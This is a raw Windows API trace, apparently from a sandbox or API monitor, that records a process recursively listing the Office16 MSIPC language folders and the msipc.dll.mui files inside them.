[0230.223] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44563cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44563cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.223] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44563cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44563cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.223] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0230.223] GetProcessHeap () returned 0xc10000 [0230.224] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.224] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0230.224] GetProcessHeap () returned 0xc10000 [0230.224] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0230.225] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.225] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.225] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.226] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0230.226] GetProcessHeap () returned 0xc10000 [0230.226] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.226] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0230.226] GetProcessHeap () returned 0xc10000 [0230.226] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0230.226] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.227] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.227] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.227] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0230.227] GetProcessHeap () returned 0xc10000 [0230.227] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.227] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0230.227] GetProcessHeap () returned 0xc10000 [0230.227] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0230.228] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.228] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6ed802, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6ed802, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb713a45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.228] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6ed802, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6ed802, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb713a45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.229] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0230.229] GetProcessHeap () returned 0xc10000 [0230.229] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.229] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0230.229] GetProcessHeap () returned 0xc10000 [0230.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0230.229] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.229] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.230] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.230] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0230.230] GetProcessHeap () returned 0xc10000 [0230.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.230] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0230.230] GetProcessHeap () returned 0xc10000 [0230.230] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0230.231] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.231] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5698, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.231] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5698, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.231] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0230.232] GetProcessHeap () returned 0xc10000 [0230.232] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.232] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0230.232] GetProcessHeap () returned 0xc10000 [0230.232] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0230.233] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.233] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.233] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.233] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0230.233] GetProcessHeap () returned 0xc10000 [0230.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.233] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0230.233] GetProcessHeap () returned 0xc10000 [0230.234] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0230.235] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.235] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.235] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.235] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0230.235] GetProcessHeap () returned 0xc10000 [0230.235] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.235] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0230.235] GetProcessHeap () returned 0xc10000 [0230.235] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0230.236] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) 